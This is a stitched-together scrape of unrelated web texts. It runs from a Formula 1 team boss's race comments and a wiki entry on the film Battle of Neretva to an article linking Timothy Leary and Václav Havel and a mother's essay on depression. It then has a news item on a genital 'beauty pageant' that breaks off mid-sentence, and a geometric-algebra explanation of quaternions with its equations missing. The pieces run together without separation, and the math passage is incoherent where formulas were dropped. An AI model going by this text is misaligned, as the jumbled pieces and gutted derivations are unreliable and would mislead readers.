“Lewis is really on top form with these tyres, they’re particularly difficult,” said Whitmarsh. “He could turn them on, and you could see at various times he held and controlled the gap with Fernando. We prompted him a bit and he’d suddenly go purple. It was classic Lewis, very much in control, of his pace and very much in control of the race as a consequence.
“It was massively well deserved. He’s been unfortunate this year, and he should have had one or two wins before now. It’s pretty fitting to come here, the scene of his first ever Grand Prix victory. It’s special for me, I joined him on the podium for his first victory here. I don’t often go up, but I was delighted to go up for this one.”
Whitmarsh says it’s still impossible to judge how the formbook is going to develop in the coming races.
“Today we were strong. I wish we could guarantee that we’d be strong in Valencia, but I can’t! We’ll try our best. We keep saying it, but it’s seven races and seven winners. I think we’ve virtually run out of options anyway, so we’re probably going to have a duplicate at the next race.”
He believes it’s too early suggest that the top three established teams will now start to collect more race wins and pull away from the rest.
“You’ve got us much data as me! I hope so but I have no idea. I actually do think this so close, the tyres are so tricky, it can swing any way. It’s so critical. You see that going through qualifying. It’s bloody difficult to get through, conserving your tyres, and you’ve got to be absolutely every step of the weekend now making the right engineering decisions, making the right operational decisions, being error free. It’s massively tough.
“But it’s great, it’s how it should be, isn’t it? I’m delighted for F1. I’d love us to be walking away comfortably with the championship, but it’s not going to be that way. This is an abnormal season, and I think it’s going to be like this right to the end.
“We leave here with Lewis leading the championship, but we don’t think this is now in cruise mode, we’re going to win. Who knows, it could go horribly wrong in an instant at the next race. That’s how it should be. The team responds well to that, we’re fighters.”"The Battle of Neretva" redirects here. For the historical battle on which the film was based, see Battle of Neretva
Battle of Neretva (Serbo-Croatian: Bitka na Neretvi / Битка на Неретви, Slovene: Bitka na Neretvi,[2]) is a 1969 Yugoslavian partisan film. The film was written by Stevan Bulajić and Veljko Bulajić, and directed by Veljko Bulajić. It is based on the true events of World War II. The Battle of the Neretva was due to a strategic plan for a combined Axis powers attack in 1943 against the Yugoslav Partisans. The plan was also known as the Fourth Enemy Offensive and occurred in the area of the Neretva river in Bosnia and Herzegovina.
Battle of Neretva is the most expensive motion picture made in the SFR Yugoslavia.[3] It was nominated for the Academy Award for Best Foreign Language Film,[4] the year after Sergei Bondarchuk (playing the role of Martin in Neretva) won the honour for War and Peace. The score for the English-speaking versions was composed by Bernard Herrmann. Its soundtrack was released by Entr'acte Recording Society in 1974. It was re-released on Southern Cross Records on CD.
One of the original posters for the English version of the movie was made by Pablo Picasso, which, according to Bulajić, the famous painter agreed to do without payment, only requesting a case of the best Yugoslav wines.[5]
Cast [ edit ]
Production [ edit ]
Bridge on the Neretva river, built and twice-destroyed during the shooting of the film.
Battle of Neretva was first of the huge state-sponsored World War II film productions. It had a staggering budget approved personally by Yugoslav president Josip Broz Tito. Different sources put it anywhere between $4.5 million and $12 million. Global stars such as Sergei Bondarchuk, Yul Brynner, Franco Nero, Orson Welles, etc. flocked to communist Yugoslavia attracted by the huge sums of money being offered.
Shot over 16 months with funds put up in largest part by over 58 self-managed companies in Yugoslavia, the movie featured a combined battalion of 10,000 actual Yugoslav People's Army (JNA) soldiers. Four villages and a fortress were constructed for the film, and subsequently destroyed. Several army-inventory Soviet T-34 tanks, touched up to look like German panzers, met the same fate.
Additionally, an actual railway bridge over Neretva River in Jablanica was destroyed. Director Bulajić's justification for taking down an actual bridge rather than getting the shots in studio was that a destroyed bridge would later become a tourist attraction. The bridge was thus blown up, but because none of the footage was usable due to the billowing smoke that made it impossible to see anything, it was decided that the bridge should be repaired and destroyed again. However, the problem with the excessive smoke occurred even when the bridge was blown up for the second time. Finally, the scenes of the bridge being blown up that eventually ended up in the film were shot using a small scale table-size replica at a sound stage in Prague.[5]
Throughout the movie's production, the Yugoslav public was updated on the shooting progress via pieces in the country's print media.[6][7]
Reception [ edit ]
In 1999, a poll of Croatian film fans found it to be one of the best Yugoslavian films ever made.[8] People still enjoy it and it is praised for being historically correct and entertaining at the same time. It still has fans all over the former Yugoslavia.
See also [ edit ]Prototype dissidents: Timothy Leary and Václav Havel at the dawn of the internet age
A previously unknown connection between Czech dissident Vaclav Havel and American psychologist Timothy Leary is revealed by an inscribed copy of Leary's 1977 Neuropolitics.
"The case of Dr. Leary is outright a case of persecution of ideas and texts--the persecution of his philosophy. Though arrested for grass, he was imprisoned for opinion. Denied bail for grass possession, he was detained behind barbed wire for Ideological Heresy" - Allen Ginsberg, "Declaration of Independence for Dr. Timothy Leary," July 1971.
"You do not become a 'dissident' just because you decide one day to take up this most unusual career. You are thrown into it by your personal sense of responsibility, combined with a complex set of external circumstances. You are cast out of the existing structures and placed in a position of conflict with them. It begins as an attempt to do your work well, and ends with being branded an enemy of society"
- Vaclav Havel, "The Power of the Powerless," 1978.
A previously unknown connection between Czech dissident Vaclav Havel and American psychologist Timothy Leary is revealed by an inscribed copy of Leary's 1977 Neuropolitics.
In 1992, following the fall of Eastern Europe's totalitarian governments and Havel's rise as president of a free Czechoslovakia, Leary wrote a message of thanks in the margins of what remains his most political work.
"Let everything hang open," were among the words marked for Havel's attention. "Let government be totally visible. The last, the very last, people to hide their actions should be the police and government."
The thought marked the culmination of two radical and parallel journeys. Both men were jailed during the same era on trumped-up charges, each spending more than four years in prison, and many more being surveilled, harassed and often arrested by the regimes they opposed as writers and activists.
When Leary explained that "one dissident electronic-media expert [or] one libertarian psychologist can jam the system."—Leary always considered himself a
libertarian psychologist—he anticipated a time of electronic-media whistleblowers that then seemed like science fiction. Now, decades later, Julian Assange, Bradley Manning and Edward Snowden are household names. And they are only the most prominent of those who have successfully jammed the system, exposing the extent of
government misdeeds and the secrecy surrounding them.
Leary officially became a political prisoner when he was sent to a California prison, for up to ten years, in the spring of 1970, for possession of a tiny amount of marijuana. The real reason for this draconian sentence was his published writings and public speeches, advocating the benefits of psychedelic plants and drugs, and his entering the California governor's race against the arch conservative Ronald Reagan.
"Well, yes, I'm in prison, and that may seem odd: a philosopher in prison. But I'd like to say this about my profession. The best philosophers often end up in prison. If you're a good baseball player, you end up in the Major Leagues. If you're a really successful politician, you end up in Washington, I'm sorry to say. If you're really a good philosopher -- if you're coming out with new ideas about the seven great destiny questions that are going to rattle the walls of the social institutions, like most of the men I have modeled myself after -- they'll have been lucky if they got away just being in prison, with their ideas." - Timothy Leary, Folsom Prison, 1973
(2m17s, 'From Folsom Prison' Video)
The judge who sentenced him (a Reagan appointee) not only cited Leary's writings on the benefits of consciousness-expansion and his defense of righteous psychedelic chemists and marijuana dealers, but he actually held up a copy of Playboy containing a Leary article in the courtroom, calling him "an insidious and detrimental influence on society...a pleasure-seeking, irresponsible Madison Avenue advocate of the free use of LSD and marijuana."
Giving up on the possibility of being freed in Nixon's America, Leary risked his life escaping from prison, opting for life in exile, first in Algeria, and then in Switzerland, where the American PEN (Poets, Essayists and Novelists) Club, headed by Arthur Miller (himself a target of right wing extremists during the early 1950s) declared Leary a political prisoner in opposing his extradition back to the US in 1971. Switzerland followed suit and granted him provisional asylum.
After he was captured (kidnapped, according to his lawyers, as there was no extradition treaty) in Afghanistan, in early 1973, and returned to face trial for escape, Leary ended up doing hard time in Vacaville and Folsom prisons, with no prospect of release on the horizon. The Nixon resignation gave him some hope, but the Drug War was intensifying. It was there that he began reading the works of the writers who were at the forefront of the dissident movement in Eastern Europe. As he read their work and learned of their fate, he found himself strongly identifying with the Russian writer Alexander Solzhinetsyn, and physicist Andre Sakharov, imprisoned for advocating for human rights and intellectual freedom against the totalitarian Soviet state.
THE PRAGUE SPRING
At the time, Leary probably was not yet aware of Vaclav Havel, one of Czechoslovakia's greatest playwrights, who became an activist when Russia invaded his country to suppress the 1968 popular uprising against Soviet control, known as the Prague Spring. There has long been speculation that LSD played a role in that event. Spofa Pharmaceutical Works in Prague supplied the LSD for the Soviet Union's psychological warfare program, just as the United States designated Eli Lilly & Co. as their source, once Sandoz refused to supply the drug in the enormous quantities requested by the two Cold War adversaries. Certainly LSD would have eventually found its way from the Spofa laboratories to the street, where it would have contributed to the mind-set fated to play the kind of role in the Prague Spring uprising that it had in student-led rebellions in the US, UK, and France that same year.
Havel's connections to the Prague psychedelic underground were strong; he attended the trial of Eastern Europe's foremost psychedelic band, the Plastic People of the Universe, and he co-wrote the central document of the Czech revolutionary movement, the Charter 77 manifesto, in 1976, partly in response to the group's imprisonment.
Havel was constantly under surveillance, interrogated, and frequently jailed by the secret police; like Leary, he spent four consecutive years in prison (1979-1983). He was a fan of Frank Zappa and The Velvet Underground, ultimately becoming a friend of the band's frontman and chief songwriter, Lou Reed. Some attribute the naming of the Velvet Revolution, which in 1989 ended more than 40 years of Communist rule in Czechoslavakia, to the house band of Andy Warhol's Exploding Plastic Inevitable multi-media shows. "Reed has given at least one radio interview where he stated that 'it was called the Velvet Revolution because all of the dissidents were listening to the Velvet Underground leading up to the overthrow, and this music was an inspiration for the events that followed.'" (Wikipedia) A more common derivation of the name comes from the fact that the revolution was bloodless.
PARTNERS IN TIME
"Vasilios Choulos, Kent Russell and Melvin Belli have just written a brief challenging my illegal kidnapping in Afghanistan by American agents...It's a small dissident world now, and a small exclusive club of fearless free men and women. So it goes. Nixon is still in the White House, Eldridge Cleaver is still in exile, and I'm still in Folsom Prison."
On p. 21, Leary circles the entire text, in which he speaks of dissidents in Russia, South Korea and Greece, all recently abducted by secret police, and whom he considers to be his "partners in time." Leary was to remain in prison three more years.
Peter Stafford, the foremost chronicler of 20th-century psychedelic culture, put Havel on his list of distinguished people who had experimented with LSD, along with Carl Sagan and Sir Francis Crick. It can only be speculation at this point, but it would seem impossible that Vaclav Havel did not take LSD during the years between the Prague Spring (1968) and the trial of Plastic People of the Universe (1976). During the years of the Soviet crackdown, the Czech counterculture was deeply connected to the dissident movement. Plastic People of the Universe were the Velvet Underground and Mothers of Invention of the Eastern Bloc.
The chief method of communicating amongst the dissidents and citizen-sympathizers in Soviet-controlled Eastern Europe, where the press was a tool of the state, was by the crudely produced street publications known as samizdat. (This was the equivalent of the "Mimeo Revolution" and the Underground Press in the U.S. during the same period.) Some of Havel's most influential writings were printed and distributed in this format. Leary's book, Neuropolitics, is entirely composed of his prison writings from 1973 and 1974, hand-written and often smuggled out. A separate work, Neurologic, Leary's monograph on the evolution of the human nervous system, was written in maximum security while awaiting trial for escape, and is a prototype samizdat, which were the blogs of the underground.
The success of the Velvet Revolution meant the liberation of Czechoslavakia from the control of the Soviet Union. In 1989, Havel became the president. He stepped down when the country was split into two parts, and became president again in 1993, this time of the Czech Republic. It marked the first time in history a playwright was elected president of a country.
In his 1990 essay, "The New Breed," Leary, who sometimes described himself as a cheerleader, wrote this: 'The last thing the young Czechs (whose cheerleader is the playwright Vaclav Havel) want to do is grab power and establish a new regime and march around in frowning suits or menacing uniforms. Since the 1960s, they have watched young America for their clues."
On July 4, 1992, fifteen years after it was published, Leary inscribed a copy of Neuropolitics, his most political book, to Vaclav Havel, to acknowledge the success of the Velvet Revolution that catapulted Havel to the presidency of his country.
"Let everything hang open. Let government be totally visible. The last, the very last, people to hide their actions should be the police and government."
Why this book wasn't sent to Havel at the time it was inscribed is a mystery. We know Leary passed it on to a friend who, some twelve years after Tim's death, passed it on to someone else. That owner intended to personally bring it to Havel, and arrangements were begun, but there were delays, and Havel passed away before the book could be delivered.
This inscribed copy of Neuropolitics links two dissident writers who were vilified and imprisoned by the political regimes they opposed. One fought for freedom to change one's consciousness, the other for the right of citizens to live free from state control. The mantra, "Think For Yourself. Question Authority," which was the central message of their lives, is embedded in this unique artifact.
Leary and Havel both survived their years in prison. Havel went on to become president of his country, and honored throughout the West; Leary remained an outsider to the mainstream culture, but became an intellectual force in the emergent cyberculture.
"The control people realize that a highly technological society requires total cooperation and docile obedience of the citizenry. One dissident electronic-media expert, one libertarian psychologist can jam the system. I did it here. Sakharov is doing it in Russia. Only by understanding the principles and techniques involved can one avoid being computerized and conditioned. This is, of course, why I am the prototype Sci-Fi prisoner in America."
Visit TimothyLearyArchives.orgA few weeks ago, I had a bad flareup. I’d been laid off from my part-time teaching job, was going through a difficult period in my writing life, and at the same time, my psychiatrist persuaded me to try a new medicine. Meanwhile, my daughter got strep throat, then my son got the flu, then our baby sitter got the flu, then I got strep throat — all just a week in the life of a mother with kids in preschool. Nothing about any of these stressors was catastrophic or even unusual.
Nothing unusual except that in the middle of it, I found it physically painful to get out of bed. All day, going about my stay-at-home mom business, I cried. I cried while asking my kids if they wanted their morning bagels with cream cheese or peanut butter. I cried while driving them to school. I cried at the coffee shop where I go to write and in the dried foods aisle of Trader Joe’s. There was no sobbing, no blubbering or nose blowing, just a stream of tears stopping and starting all day long without any real cause.
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My husband worried. My children were fussy and confused. And I couldn’t blame them. I knew exactly what they were going through, because long before I knew what depression was, before I’d ever heard of mood disorders or anxiety, I knew what it felt like to live with someone who was often, inconsolably, unhappy.
Manifestations of this unhappiness are woven through my earliest memories. I remember a weekday afternoon, school out, the red vinyl booth of a pizzeria and my mother weeping at the table. I hear her screaming in public places, hear doors slamming, her frantic voice on the phone with my father, telling him he needed to come home from work. At the time, these moments had no story around them, no reason. They seemed a thing in and of themselves, and I feared them. I came to see my mother’s moods as a force separate from her person. There was my mom, the woman I loved more than anyone in the world, and then there was this other entity, these quickly shifting rages that needed to be anticipated, navigated, endured. I always knew my mother loved me, but I also knew just as surely that there were moments, hours, days, when she could hardly cope with her own life, much less motherhood. Often, these episodes came without warning, like a change in weather, and so I became a meteorologist of her dysphoria. I learned to sense the direction of my mother’s mood by the sound of her footsteps down the hall.
Later, confusion and fear fermented into resentment. As an adolescent and young adult, I hated my mother for her inability to cope, saw it as a sign of weakness and self-pity. I went years without speaking a civil word to her. Then, around the time my younger sister left home, something unexpected happened. The depression and anxiety and erratic mood shifts that had always seemed so integrally woven into the fabric of who she was, dissipated. She started taking one of the SSRI medications for depression that hadn’t been available when we were young. She started exercising, working more, taking time for the hobbies she hadn’t had time for when we were young. And amazingly, she got better. It seemed that without children to care for, she could care for her own mental health. We became friends again, rebuilt a relationship, and I began to hope that my experience coping with the sort of emotional fragility I grew up around was over. Then I had children of my own.
I had never intended to be a stay-at-home-mom. I never thought I had the temperament for it, but it happened anyway, a combination of factors including my low wage-earning potential as a holder of a B.A. in English and an MFA in creative writing, a recession job market, and the fact that my son had a lot of health problems during his first three years. It was hard for me to believe, at times, that was where all my efforts and education had landed me. I felt like a maid, a chauffeur, a short-order cook and dishwasher. I was a scheduler of doctor’s appointments and teacher conferences, a secretary, a wiper of mucus-y noses and a disposer of poop pellets (yes, poop pellets), because my 2-year-old was putting up a fight in the potty-training department and had started trying to change her diaper herself during nap time. I had what felt like an ever-nascent career, and I had feces under my fingernails. This was my life.
Last week, feminists celebrated the 50th anniversary of Betty Friedan’s book, which explores the ways in which traditional conceptions of motherhood and housewifery stifle and demean women and diminish society as a whole. I was 15 when I first read “The Feminine Mystique,” locked in my bedroom, probably wearing black, groping for any ideas I could find on how not to become my mother. And yet here I was, despite all intentions, one of the sad, thwarted women that fill her pages.
When I became depressed this time, I tried to hide it from my children — forced a smile through the tears, tried to make it into a joke: “Mommy’s just being silly, silly, silly.” My 5-year-old son was nervous, clingy, wanted to be physically in contact with me at all times. My 2-year-old daughter acted out, throwing tantrums, turning up the volume on her usual toddler willfulness. I watched them and I saw my own 5-year-old or 2-year-old self — angry, confused, frightened by my mother’s lability, her inability to simply hold herself together and cope. I would have done anything at that moment to spare them that. But I couldn’t stop crying. One afternoon, I called my husband at work and said, “I love our babies so much and so I would never kill myself. But if we didn’t have children, I think I’d consider it.” He told me I had to go back to the doctor.
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The stressors haven’t gone away, but I’m back on my old medicine, working on a new project, spending a lot of time at family swim where I can be with my kids while feeling weightless. I’m more like myself, more competent as a parent and a person. And yet, I’m still unsettled by the fact that taking care of my own children full-time and the prospect of continuing to do this indefinitely should be a trigger for a depressive episode. I love them, after all. I love their sweet little faces, their voices, their inquisitive and playful personalities, their high-pitched laughs and endless, earnest questions. But those days when I’m with them for long stretches of time, when my waking hours seem one long shift of milk-pouring, food-cutting, cheerio-sweeping, tush-wiping and tantrum-thwarting, I think I must feel exactly as my mother used to feel, like I just can’t cope, like my brain is an idling engine, like I must clearly be doing something wrong to find taking care of my own children so psychologically taxing.
My husband thinks I’d be happier, more fulfilled, with a full-time job, and sometimes I agree with him. (A Gallup poll conducted last May found that stay-at-home moms experienced more sadness, depression, anxiety and anger than either working mothers or women without children.) But if I'm being totally honest, I don’t think it’s simply a matter of working or not working. If I had a full-time job, I'd probably be equally nuts; my nuttiness would just manifest itself differently. I think the issue is more that for some women, women like me -- with a history of depression and a hereditary predisposition toward emotional instability -- motherhood and sanity just aren't 100 percent compatible. This is a hard thing to accept about oneself, and harder to admit. But it became easier when I broached the subject with friends, many of whom revealed similar struggles. For some, the depression or anxiety or moodiness began postpartum. But for many like me, the problem didn’t resolve once their hormone levels fell into check and they’d gotten through those first bewildering months.
My friend Megan, who quit her job when her first child was born, wrote to me in an email that, “After a few months at home with Penelope, I began to get depressed -- sleeping too much, drinking too much, watching endless, mindless hours of brainless television. This low-level depression continued through the birth of my second daughter, and it began to escalate when I was home with two kids.” For her, it didn’t get better until she went back to work full-time.
Another friend, Ann, who has a son with a disability, said that for her, the depression had less to do with day-to-day strain and more to do with acknowledging that certain things in her life weren’t ever going to be the way she wanted them to be, that the possibilities of what lay ahead had suddenly gotten much smaller. She told me, “It’s a choice that precludes so many other choices. I love my son and have a wonderful relationship with him, but I knew shortly after he was born that I was never going to have a high-powered career.” Later, she goes on to tell me how “before, there’d be times when I’d ace a test or write a chapter of my dissertation and I’d know as I was doing that it was good. But I never quite feel that way with my son, like I know what I’m doing is right. I’m always feeling like there’s some skill-set I’m lacking.”
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And a third friend, Gallaudet, who has two school-age sons, wondered if all these insecurities aren’t societally driven. She wrote to me, “In this time and place, it seems... like it might actually be possible to ‘get it right’ with children, so I often feel like I have to do just that. I forget that throughout most of history, keeping them ALIVE was the goal.” She goes on to explain how in addition to this desire for perfection, “many of us are parenting away from our families of origin, but under the scrutinizing gaze of those we hardly know. If I were to judge my friends' parenting by Facebook and blog posts, I'd assume their lives were sunshine and organic flowers all the freaking time. When I actually talk to my friends, honestly, I feel much better and less anxious and stressed, because the same shit goes down in every household. But because so much of what I see and hear is prepackaged -- marketed, in a sense -- I can quickly forget not to judge my own family's insides based on other people's families' outsides.”
As I talked to her and others, and contemplated these various impossible goals and emotional hurdles we set for ourselves, it began to seem an astounding thing that anyone could parent young children without having a breakdown. I could feel my self-assessment softening a bit, as well as my long-held beliefs about my own mother’s shortcomings. I thought about an afternoon when I was talking to one of my mother-in-law's friends, (a really smart lady and a clinical social worker in her 60s), and after she'd had a couple of glasses of wine, she said, laughing, "Oh, I hated being a mother until my son was 8. I was a wreck! It was awful!" And when she said it I felt this tremendous relief that I wasn't alone.
For so many years, I wanted or needed to blame my mother for her emotional frailty. I needed to view her moods not as an affliction from which she suffered, or as evidence of the incredible demands our society places on mothers, without offering commensurate support, but as something she (all-powerful as mothers seem to their children) inflicted on us. Now, as I raise my own kids and struggle with the same types of depressive episodes I remember her enduring 20 years ago, and grapple with the many and varied factors that make modern mothers anxious and depressed, the very thing about her I most resented has become a sort of morbid bond between us.
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She’s the one I call when getting the kids dressed and fed and out the door to school feels like an accomplishment of Herculean proportions. She’s the one I call when I’m at my lowest, when the weight of the responsibility and the chaos of everyday life feels like it’s going to break me, when I want to cry out, “Help! This wasn’t what I expected. It’s both too much and too little.” She’s often the one I turn to when I want so deeply to be a better mother, a saner, steadier, less irritable, more dependable mother than I am... than she was. I call her, and often she’s able to soothe me with the simple insistence that, “Everything’s OK. It gets better. Everything’s going to be OK.” She says it in the calm, steady, reassuring tone I so wish she’d been able to summon more often when I was a child.Here's one way to prove your ballsiness.
Today marks the launch of the Scrotum Beauty Pageant, an online competition devoted to the scrotum, the sac that holds the testes, that's being marketed as "the world's first balls beauty contest." The scrotum-fest will solicit submissions from contestants around the globe, and the men will have until Christmas to upload photos of their junk to a special website. Visitors will vote for their favorite gonads and ultimately select the winner.
"Even the contest's losers will be winners," the contest's creator, sex toy entrepreneur Brian Sloan, told Mic in an email. "They will have all proudly showed their balls to the world and promoted appreciation for the diverse range of scrotal styles." (If you're curious as to what the entries look like so far, you can check it out on the contest's [obviously NSFW] website.)
Shockingly, this is not without precedent. At first blush, the Scrotum Beauty Pageant seems like the male counterpart to this summer's Vagina Beauty Pageant, which Sloan referred to as the world's first crowdsourced competition for the world's most beautiful vagina.
At the time, Sloan claimed the results of that contest would be used as a statistical resource to study vulval variety. (It was also, undoubtedly, a shrewd PR strategy for Sloan's sex toy business, as the winners' ladybits were ultimately replicated for use in a sex toy.) Yet when the Vagina Beauty Pageant went viral, it was branded as yet another sexist and skeevy way to objectify women's bodies.
But while Sloan told Mic that the aim of both competitions was "to provide insight on genital beauty standards," the parameters are slightly different this time around. Instead of 3D-printing the prettiest scrotum to serve as a model for a sex toy, as he did with the Vagina Beauty Pageant winners, Sloan told Mic he plans to "make decorative items out of the winners' balls." He envisions using the winning scrotum as a model for paperweights, doorstops and bookends, among other things.
"I'm a relatively creative person and I cannot think of a sex toy to make from a man's scrotum," he explained. He brainstormed a few options with Mic — enlarging it and adding a hole, for example, or converting it into a wearable device "so that [men] and their partners can experience the auditory and physical stimulus of scrotum slapping during sex" — but ultimately decided those options wouldn't sell very well.
Scrotums are second-class citizens. The launch of the Scrotum Beauty Pageant prompts an obvious question: Given that scrotums aren't exactly considered a desirable part of the male anatomy, why wouldn't Sloan just launch a Penis Beauty Pageant instead? His answer is simple: it would be too "predictable." "I fear nothing would be learned from it," he told Mic.
According to Sloan, the scrotum isn't often considered something worthy of appreciation, despite its crucial function as the external sac that protects the testes. "The scrotum is like the penis's disliked step-cousin," he said.
While scrotums have had a resurgence in the public |
with a bivector rotates by 90 degrees. If we multiply on the left side instead of multiplying on the right side, we would rotate in the other direction.
What if we multiply the plane with a vector that’s orthogonal to it?
Well that’s disappointing, we just get the trivector. What if we multiply the trivector with the plane?
If we multiply the trivector with the plane, the plane collapses and we’re left with just the vector that’s normal to the plane. This works even for more complicated bivectors:
Which is the normal of the original plane. What if we multiply a vector with the trivector?
If we multiply a vector with the trivector, the vector part collapses out and we’re left with the plane that the vector is normal to. This works even for more complicated vectors:
And with that we’re back at the original plane. Almost. The sign got flipped. If we had multiplied by we would have been back at the original plane.
So multiplying with the trivector turns planes into normals and normals into planes, because the other dimensions collapse out. This also allows us to define the cross product in geometric algebra:. So first we build a plane by doing the wedge product, then we get the normal by multiplying with the trivector.
Reflections
If you went through the practice chapter you will have already seen places where geometric algebra does rotations: bivectors rotate vectors on their plane by 90 degrees. It’s not quite clear how we can build arbitrary rotations with that though.
One thing that’s a little bit easier to do is reflections, and we will see that we can get from reflections to rotations.
Let’s say we want to reflect the vector a in the picture below on the normalized vector r, to get the resulting vector b:
To do that it’s useful to break the vector a into two parts: The part that’s parallel to r, and the part that’s perpendicular to r, :
(forgive my crappy graphing skills)
These have a few properties:
(the result is a scalar and we can flip the order)
(the result is a bivector and flipping the order flips the sign)
From the picture it should be clear that if we subtract instead of adding it, we should get to. Or in other words:
So how do we get these and vectors? You may already know how to do it, but we actually never need to explicitly calculate them. Because we can actually represent this reflection as
How do we get to that magical formula? Let’s multiply it out:
The important step is that, allowing us to re-order the elements until we’re left with which is just 1, as long as is normalized.
Rotations
The reflections above look kinda like rotations. In fact if all we want to do is rotate a single vector, we can always do that with a reflection. The problem is if we want to rotate multiple vectors, like in a 3d model, then the rotated model would be a mirror version of the original model.
The solution to that is to do a second reflection. There are many possible pairs of reflections that we could choose, but here is an easy one. First we reflect on the half-way vector between and, (where writing pipes around a vector like is the length of the vector, so is a normalized vector):
So in this picture I am reflecting on the vector, which is half-way between and, landing us at. To get from to we just have to do a second reflection with the vector itself. (which is a bit weird, but if you follow the equations it works out) Given that is one reflection, is two reflections. First we reflect on, then we reflect on.
Earlier we chose. We can multiply this out and define
Then the rotation is written as (where you could work out by multiplying out the other side, or you can just flip the sign on the bivector parts of ), and the inverse is written as.
Quaternions
And just like that we have quaternions. How? Where? I hear you asking. That part in the last equation is a quaternion. If you multiply it all out, you will find that all the vector parts and trivector parts collapse to 0, and you’re just left with the scalar part and the bivector coefficients. And it just so happens that if you have a multivector which consists of only a scalar and the bivectors, multiplication behaves exactly like multiplication of quaternions.
Now isn’t that interesting? All we did was we did the math for reflections, and if we do two of those we get quaternions? No imaginary numbers, no fourth dimension, just 3d vector math. All we had to do was introduce that wedge product.
And you’ll notice that the way we apply, by doing looks an awful lot like how we multiply quaternions with vectors. To multiply a quaternion with a vector we do.
OK so let’s convince ourselves that these really are quaternions and work out the quaternion equations. They are. Our quaternion consists of a scalar and three bivectors,,, and. (I use them in this order because the plane rotates around the x axis, so it should come first). So let’s try this:
.
Seems to work so far. But I actually don’t fulfill the equation because for me. I could fix that by choosing a different set of basis-bivectors. For example if I chose, and, then this would work out because. But I kinda like my choice of basis vectors and all the rotations work out the same way. If this bothers you, just choose different basis bivectors.
One super cool thing is that when doing the derivations using reflections, I never had to specify the number of dimensions. We could use 3D vectors or 2D vectors or any number of dimensions. So if we work out the math in 2D, what do you think we get? That’s right, we get complex numbers: One scalar and one bivector. Because that’s how you do rotations in 2D. But we could go to any number of dimensions using this method. (except in 1D this kinda collapses, because you can’t really rotate things in 1D)
Also we didn’t specify what we are rotating. We assumed that it was a vector, but we never required that. So this can rotate bivectors and it can rotate other quaternions.
Interpreting Geometric Algebra Quaternions
So we found a new way to derive quaternions. This new way is neat because we don’t need 4 dimensions and we don’t need imaginary numbers. But can we learn anything new from this? Already we have two possible new interpretations:
A quaternion is the result of two reflections A quaternion is a scalar plus three bivectors
Maybe one of these has some interesting conclusions.
Before that I want to kill the 4D interpretation properly: There are two reasons why people say quaternions are 4D: The fact that quaternions have four numbers, and the fact that quaternions have double cover. I’ll talk about the double cover separately later, but here I briefly want to talk about the four numbers thing. There are lots of 3D constructs that have more than three numbers. For example a plane equation has four numbers:. Or if we want to do rotations using matrices in 3D, we need a 3×3 matrix. That’s 9 numbers. But nobody would ever suggest that we should think of a rotation matrix as a 9 dimensional hyper-cube with rounded edges of radius 3. So don’t think of quaternions as a 4 dimensional hypersphere of radius 1. Yes, there are some useful conclusions to draw from that interpretation (for example it explains why we have to use slerp instead of lerp) but it’s such a weird interpretation that it should come up very rarely.
With that out of the way let’s get to these two new interpretations:
1. Interpreting quaternions as two reflections. I couldn’t get much useful out of this. The first reflection is always on the vector half-way between the start of the rotation and the end of the rotation. The second reflection is always on the end of the rotation. I’ve played around with visualizing that, but the visualizations always looked predictable and didn’t offer any insights.
2. Interpreting quaternions as a scalar plus three bivectors. This interpretation on the other hand turned out to be a goldmine. Not only can you get an intuitive feeling for how this behaves, you can also get visualizations from this. This interpretation also allowed me to get rid of the double cover of quaternions.
So even though we have derived quaternions using reflections above, I will actually spend the rest of the blog post talking about quaternions as scalars and bivectors.
Scalars and Bivectors
A quaternion is made up of a scalar and three bivectors. We all know what a scalar does: Multiplying with a scalar makes a vector longer or shorter. I said above that multiplying with a bivector rotates a vector by 90 degrees on the plane of the bivector.
So how can we build up all possible rotations if all we have is a scalar and three rotations of exactly 90 degrees? The answer is that a bivector actually does slightly more: It rotates by 90 degrees, and then scales the vector.
I said that a bivector is a plane. But because of its rotating behavior, I actually like to visualize it as a curved line. So I visualize a vector as a straight line, and a bivector as a 90 degree curve. So here is a visualization of three different bivectors:
These are the bivectors (bottom), (middle) and (top). It’s a 90 degree rotation followed by a scale. I find this visualization particularly useful when chaining a bunch of operations together.
For example let’s say we want to rotate by 45 degrees on the xy plane. To do that we can multiply a vector with the quaternion. (that 0.707 is actually, but I’ll truncate it to 0.707 here) Now let’s multiply the vector with that quaternion. That gives us
Here’s how I would visualize that:
First we rotate by the bivector to get :
So the bivector is a rotation by 90 degrees followed by a scale of 0.707.
Next we multiply the original vector with the scalar to get the vector, which we add to the previous result:
Which then gives us the final vector of :
Which is the original vector rotated by 45 degrees.
This way of visualizing makes it very clear that multiplication with a quaternion is just multiplication with a scalar and multiplication with a bivector. And this also shows how we got a 45 degree rotation, even though all we can do is 90 degree rotations followed by scaling. It also explains why we need the single scalar value, and why the three bivectors are not enough: We sometimes want to add some of the original vector back in to get the desired rotation.
One thing to note is that in here I chose to do the bivector multiplication first, and the scalar multiplication second. But the choice is kinda arbitrary as both of these happen at the same time, and they don’t depend on each other.
Let’s rotate that same vector again to show what this looks like when we didn’t start off with one of our basis vectors:
So let’s visualize that:
First we rotate with the bivector, which puts us at :
So once again this does a 90 degree rotation followed by a scale of 0.707.
Next we multiply the original vector by 0.707 and add the resulting vector :
Which then gives us the final vector of :
Which is exactly what we would expect after rotating by 45 degrees twice.
I think these visualizations also explain how we can get arbitrary rotations: For bigger rotations we just have to make the scalar component smaller as the bivector component gets bigger.
So far we have only looked at the xy plane. To visualize this in 3D, I wrote a small program in Unity that can do the above visualization for all three bivectors. Here is what that looks like for rotating from the vector to the vector. That gives me the particularly nice quaternion.
This is going to be hard to do in pictures because it’s a 3D construct, but I’ll give it a shot. Here is what the two vectors look like:
So I want to rotate from the vector on the left to the vector on the right.
Here is what the contribution of the bivector looks like:
So this bivector is rotating on the xy plane. It takes the end point of the vector and rotates it 90 degrees down on the xy plane. It may be a bit hard to see, but imagine all the yellow lines lying on a xy plane.
The result of that 90 degree rotation is the vector. (the lower edge of the plane) I used the end of that rotation to start our result vector. (see how I have a third short vector sticking out at the bottom now? That’s )
Next I’m doing the contribution of the bivector:
The original vector was already rotated 45 degrees on the yz plane, so this rotation started off at a 45 degree angle and it rotated 90 degrees on the yz plane. Then it scaled the result by 0.5, giving us the result vector. (the bottom of the teal plane)
I also added the result of that rotation to the result vector. (the shorter vector that was sticking out now has a corner in it, indicating that I added the new )
Next we add the contribution of the bivector:
